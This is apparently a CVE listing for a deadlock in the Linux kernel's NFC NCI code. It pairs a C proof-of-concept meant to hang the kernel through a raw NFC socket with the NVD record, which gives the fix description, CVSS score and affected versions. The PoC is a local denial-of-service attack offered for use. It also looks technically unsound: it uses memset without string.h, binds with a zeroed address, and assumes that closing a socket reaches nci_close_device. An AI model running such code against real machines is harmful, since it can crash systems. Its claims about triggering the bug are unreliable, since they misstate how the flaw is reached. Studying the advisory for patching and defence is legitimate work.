CVE-2026-31509

/* * PoC for CVE-2026-31509: Linux Kernel NFC Deadlock * This code attempts to trigger the deadlock by interacting with NFC sockets. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/nfc.h> int main() { int sock; struct sockaddr_nfc addr; // Create a raw NFC socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_NFC; // Bind to NFC device to trigger initialization if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } printf("Triggering race condition in NFC layer...\n"); // Send data to populate rx_wq char dummy_data[10] = {0}; send(sock, dummy_data, sizeof(dummy_data), 0); // Close device to trigger nci_close_device holding lock close(sock); return 0; }

{"cve": {"id": "CVE-2026-31509", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:49.947", "lastModified": "2026-04-28T15:02:57.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: nci: fix circular locking dependency in nci_close_device\n\nnci_close_device() flushes rx_wq and tx_wq while holding req_lock.\nThis causes a circular locking dependency because nci_rx_work()\nrunning on rx_wq can end up taking req_lock too:\n\n nci_rx_work -> nci_rx_data_packet -> nci_data_exchange_complete\n -> __sk_destruct -> rawsock_destruct -> nfc_deactivate_target\n -> nci_deactivate_target -> nci_request -> mutex_lock(&ndev->req_lock)\n\nMove the flush of rx_wq after req_lock has been released.\nThis should safe (I think) because NCI_UP has already been cleared\nand the transport is closed, so the work will see it and return\n-ENETDOWN.\n\nNIPA has been hitting this running the nci selftest with a debug\nkernel on roughly 4% of the runs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "A8136AA8-F2F0-4960-9AAF-176AC6ACEA92"}, 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"416baaa9-dc9f-4396-8d5f- ... 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